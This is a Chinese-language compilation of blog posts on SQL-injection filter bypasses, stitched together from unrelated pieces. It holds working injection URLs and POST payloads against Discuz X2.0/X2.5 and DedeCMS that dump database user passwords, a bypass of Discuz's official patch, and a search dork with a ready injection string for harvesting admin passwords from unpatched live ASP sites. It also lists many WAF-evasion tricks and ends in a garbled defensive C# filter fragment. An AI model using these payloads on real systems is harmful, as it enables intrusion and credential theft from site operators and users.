0x00 前言
目前主流的CMS系统当中都会内置一些防注入的程序，例如Discuz、dedeCMS等，本篇主要介绍绕过方法，
0x01 Discuz x2.0防注入
这里以Discuz最近爆出的一个插件的注入漏洞为例，来详细说明绕过方法。
漏洞本身很简单，存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中，代码如下所示
function getGoods($id){ $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id); $goods = DB::fetch($query); $goods['endtime2'] = date('Y-m-d',$goods['endtime']); $goods['price2'] = $goods['price']; if($goods['sort'] ==2){ $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']); $query = DB::query(“select * from ”.DB::table('v63_pm').“ where gid='$goods[id]' order by id desc ”); $last = DB::fetch($query); if(is_array($last)){ $goods['price'] = $last['chujia']; $goods['uid'] = $last['uid']; $goods['username'] = $last['username']; $goods['pm'] = $last; if(time+600>$goods['endtime']){ $goods['endtime'] = $last[time]+600; $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600); } } } return $goods;}
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行，如图所示： 
下面可以构造如下请求触发漏洞了，如图所示： 
不过程序内置了一个_do_query_safe函数用来防注入，如图所示 
这里跟踪一下_do_query_safe()函数的执行，它会对以下关键字做过滤，如图所示：

因为我们的url中出现了union select，所以会被过滤掉。
这里利用Mysql的一个特性绕过_do_query_safe函数过滤，提交如下url：
localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
这里我们跟踪一下，绕过的具体过程。它会将/**/中间的内容去掉，然后保存在$clean变量中，其值为
select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
再进一步跟踪，它会将/**/也去掉，然对$clean变量做过滤，如图所示
 此时$clean值，如图所示 
此时$clean变量中不在含有危险字符串，绕过_do_query_safe函数过滤，成功注入，截图如下： 
0x02 Discuz X2.5防注入
Discuz X2.5版修改了防注入函数的代码，在/config/config_global.php中有如下代码，如图所示 
这里$_config['security']['querysafe']['afullnote'] 默认被设置为0，重点关注这一点。
这里跟踪一下失败的原因，如图所示： 
此时观察一下变量，_do_query_safe($sql)函数会将/**/中的内容去掉，然后存到$clean中，如图所示： 
其实，程序执行到这里跟Discuz X2.0没有区别，$clean的值都一样。但是关键在下面，如图所示：
 因为前面提到$_config['security']['querysafe']['afullnote']=’0’，所以这里不会替换/**/为空，并且它在后面会判断$clean中是否会出现“/*”，如图所示：  
所以注入失败。
在Mysql当中，定义变量用@字符，可以用set @a=’abc’，来为变量赋值。这里为了合法的构造出一个单引号，目的是为了让sql正确，我们可以用@'放入sql语句当中，帮助我们绕过防注入程序检查。
这里利用如下方式绕过_do_query_safe函数过滤，如下所示：
localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
这里跟踪一下执行的过程，如图所示：
 这里有一个if判断，重点看这句
$clean = preg_replace(“/'(.+?)'/s”, '', $sql);
它会将$sql中单引号引起来的字符串省略掉，所以我们可以用绕过dede防住ids的思路，利用
@`'` union select @`'`
这样的方法，在下面的过滤中省掉union select，这里跟踪一下，如图所示： 
这样便绕过了_do_query_safe函数检测，成功绕过防注入，如图所示： 
不过后来Discuz官方发布了一个修复补丁，但并没用从根本上解决问题。官方的修复代码如下： 
加了一个判断，过滤字符串中的@，但是始终没有修复根本问题，关键是上边的那个if判断会将单引号之间的内容（包括单引号）替换为空，代码如下：
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) { $clean = preg_replace(“/'(.+?)'/s”, '', $sql);}
这里我只要稍做一下变换就可以让@字符消失，从而绕过它的过滤，利用如下所示：
localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
这里我引入了`'`用来隐藏第一个@字符，并将第一个@`'`替换为@`''`，这样便可以替换掉第二个@，这里我们跟踪一下代码，如图所示： 
可以看到$clean变为
select * from pre_v63_goods where `id` =``
成功绕过补丁，如图所示：
 不过这样做的代价是不能再使用union select了，只能通过报错获取数据。
0x03 DedeCMS防注入
这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例，分析如何绕过其防注入系统。不过在这之前，还得先提一下这个漏洞。
漏洞存在于/plus/feedback.php中的第244行，代码如下所示
if($comtype == 'comments') { $arctitle = addslashes($title); 0id = intval(0id); $ischeck = intval($ischeck); $feedbacktype = preg_replace(“#[^0-9a-z]#i”, “”, $feedbacktype); if($msg!='') { $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ”; $rs = $dsql->ExecuteNoneQuery($inquery); if(!$rs) { ShowMsg(' 发表评论错误! ', '-1'); //echo $dsql->GetError(); exit(); } } } //引用回复 elseif ($comtype == 'reply') { $row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id ='$fid'”); $arctitle = $row['arctitle']; $aid =$row['aid']; $msg = $quotemsg.$msg; $msg = HtmlReplace($msg, 2); $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')”; $dsql->ExecuteNoneQuery($inquery); }
这里$title变量未初始化，所以$title可以作为可控变量，所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中，但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码，在第268行，如下所示
$row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id ='$fid'”);$arctitle = $row['arctitle'];
这里的查询#@__feedback表正式上面INSERT的那个表，arctitle字段取出来放到$arctitle变量当中，继续跟踪到第273行，这下豁然开朗了，
$inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')”;
这里$arctitle变量未作任何处理，就丢进了SQL语句当中，由于我们可以控制$title，虽然$arctitle是被addslashes函数处理过的数据，但是被INSERT到数据库中又被还原了，所以综合起来这就造成了二次注入漏洞。
但是这里如何利用呢，通过跟踪代码发现，整个dede在整个过程中始终没有输出信息，所以我们无法通过构造公式报错来获取数据，但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的，所以我们可以通过构造SQL语句，将我们要执行的代码插入到msg字段当中，这样便可以输出执行的内容了。
众所周知，dedeCMS内置了一个CheckSql()函数用来防注入，它是80sec开发的通用防注入ids程序，每当执行sql之前都要用它来检查一遍。其代码如下所示：
function CheckSql($db_string,$querytype='select') { global $cfg_cookie_encode; $clean = ''; $error=''; $old_pos = 0; $pos = -1; $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt'; $userIP = GetIP(); $getUrl = GetCurUrl(); //如果是普通查询语句，直接过滤一些特殊语法 if($querytype=='select') { $notallow1 = “[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}”; //$notallow2 = “--|/\*”; if(preg_match(“/”.$notallow1.“/i”, $db_string)) { fputs(fopen($log_file,'a+'),“$userIP||$getUrl||$db_string||SelectBreak\r\n”); exit(“Safe Alert: Request Error step 1 !”); } } //完整的SQL检查 while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2 >$pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些 使用它，所以检查它 if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=“union detect”; } //发布版本的程序可能比较少包括--,#这样的注释，但是 经常使用它们 elseif (strpos($clean, '/*') >2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) { $fail = TRUE; $error=“comment detect”; } //这些函数不会被使用，但是 会用它来操作文件，down掉数据库 elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=“slown down detect”; } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=“slown down detect”; } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=“file fun detect”; } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=“file fun detect”; } //老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是 可以使用它来查询数据库敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) { $fail = TRUE; $error=“sub select detect”; } if (!empty($fail)) { fputs(fopen($log_file,'a+'),“$userIP||$getUrl||$db_string||$error\r\n”); exit(“Safe Alert: Request Error step 2!”); } else { return $db_string; } }
但通过跟踪这段代码发现，它有个特征就是会将两个单引号之间的内容用$s$替换，例如’select’会被替换为$s$，这里用两个@`'`包含敏感字，这样$clean变量中就不会出现敏感字，从而绕过CheckSql()函数检测，
这里可以设置title为如下代码，一方面绕过ids防注入代码检测，另一方面加一个#注释掉后面的代码，但是还要做一下变形，就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL，而@`'`是一个变量，默认为NULL，直接插入@`'`的话会报错，所以需要以char(@`'`)的方法转换一下。
',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码，如图所示 
如下SQL语句
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
被替换为了
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
字符串中没有任何敏感字，成功绕过CheckSql()函数检测。
POST如下请求给feedback.php，如下所示：
action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码，实际执行的SQL语句跟踪变量如下所示： 
入数据库中的内容，如图所示： 
下面再POST如下内容给feedback.php，
action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
跟踪一下这里执行的SQL语句，如图所示 
所以select user()执行了，并且可以作为msg字段输出。
0x04 总结
在写这篇文章之前，我分析了很多常用的cms系统的源码，包括discuz、dedecms、phpwind、phpcms等，只有在discuz、dedecms这两个系统中用到通用防注入，但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下，这些绕过方法还是很有价值的。
该程序采用枫叶通用防注入1.0asp版，此程序pro_show.asp处存在cookies注入或者变型注入漏洞，到目前为止还是有很多网站任然没有修复这个漏洞，也有些网站简单采取了防注入（据说可以绕过哦），
百度关键字：inurl:pro_show.asp?showid=
注入前可以先判断一下字段数：www.xxx.com/pro_show.asp?showid=17 order by 28
注入语句：www.xxx.com/pro_show.asp?showid=17 and 1=1 union select 1,username,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from lei_admin
字段数自己判断，我试了2个网站都是28，至于密码有明文也有md5加密的，后台自找，

If you have any other useful tricks I forgot to list here please leave a comment.
1、运用编码技术绕过
如URLEncode编码，ASCII编码绕过，例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通过空格绕过
如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如
or swords =‘swords，由于mssql的松散性，我们可以把or swords 之间的空格去掉，并不影响运行。
3、运用字符串判断代替
用经典的or 1=1判断绕过,如or swords =swords，这个方法就是网上在讨论的。
4、通过类型转换修饰符N绕过
可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，如or swords = N swords ，大写的N告诉mssql server 字符串作为nvarchar类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过
效果值得考证，但毕竟是一种方法。如or swords =‘sw + ords ；EXEC(‘IN + SERT INTO + ….. )
6、通过LIKE绕过
以前怎么就没想到呢？如orswords LIKE sw！！！显然可以很轻松的绕过“=”“>”的限制……
7、通过IN绕过
与上面的LIKE的思路差不多,如or swords IN (swords)
8、通过BETWEEN绕过
如or swords BETWEEN rw AND tw
9、通过>或者<绕过>
or swords >sw
or swords < tw
or 1<3
……
10、运用注释语句绕过
用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感词，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
11、用HEX绕过，一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x64006F006F0077006E0065007200 =hex(db_owner)
12、大小写互换绕过
select 可以写成 SelEct
union 可以写成 UnIoN
13、多种编码组合绕过
常用的有BASE64、ASC、SQL、HEX、URL编码
14、利用中转工具绕过
可以利用刺猬的中转工具来绕过
15、利用特殊字符填充绕过
这些特殊字符，会被解释成空格，方式和通过空格绕过一样的，一般用来绕过第三方防火墙软件
16、改变攻击方式
如果get提交实在无法绕过，可以尝试改变攻击方式，
如；post注入、寻找子站、旁站……等，如有疑问可以随时联系我QQ814360954哦，我很乐意和大家交流 技术。
网站安全非常重要，所以一个网站必须要有对攻击的基础防范措施，比如脚本攻击，跨域攻击，数据库注入攻击等，下面分享一个使用的防止数据库Sql脚本注入的使用类
using System;
using System.Collections.Generic;
using System.Text;

System.Text.RegularExpressions.Regex Rx = new System.Text.RegularExpressions.Regex(RxStr);
ReturnValue = Rx.IsMatch(LowerStr, 0);
}
return ReturnValue;
}
///

public static string SqlFilter(string str)
{
str = str.Replace(“””, “‘’”);
//单引号替换成两个单引号
str = str.Replace(“‘”, “‘”);
//半角封号替换为全角封号，防止多语句执行
str = str.Replace(“;”, “；”);
//半角括号替换为全角括号
str = str.Replace(“(“, “（”);
str = str.Replace(“)”, “）”);
///////////////要用正则表达式替换，防止字母大小写得情况////////////////////
//去除执行存储过程的命令关键字
str = str.Replace(“Exec”, “”);
str = str.Replace(“Execute”, “”);
//去除系统存储过程或扩展存储过程关键字
str = str.Replace(“xp_”, “x p_”);
str = str.Replace(“sp_”, “s p_”);
//防止16进制注入
str = str.Replace(“0x”, “0 x”);
return str;

大家好 ,我们是pt007和solaris7，QQ：7491805/564935，欢迎高手前来交流：），
首先感谢华仔和他的朋友Hotkey为大家开发的cnsafersi 注入工具，没有这个工具就没有本文，HEHE，本文是对cnsafersi 注入工具抓包后所获得的数据进行了分析和整理，文章写的比较仓促，有不足之处欢迎同行指正。另外希望有高手开发出功能更加强大的JSP注入程序，cnsafersi目前仅有select的功能，建议新的JSP注入工具中能加入insert/delete/update/backup/上传/执行系统命令等功能，可以参考NBSI的功能进行开发。参考文章：《如何开发CnSaferSI》。
首先介绍本文中所使用的工具之JSP注入利器：华仔和他的朋友Hotkey开发的cnsafersi，关于使用方法近期我会写一个详细的使用教程：
下面以上图中的AD表为例来说明JSP+ORACLE注入的过程：
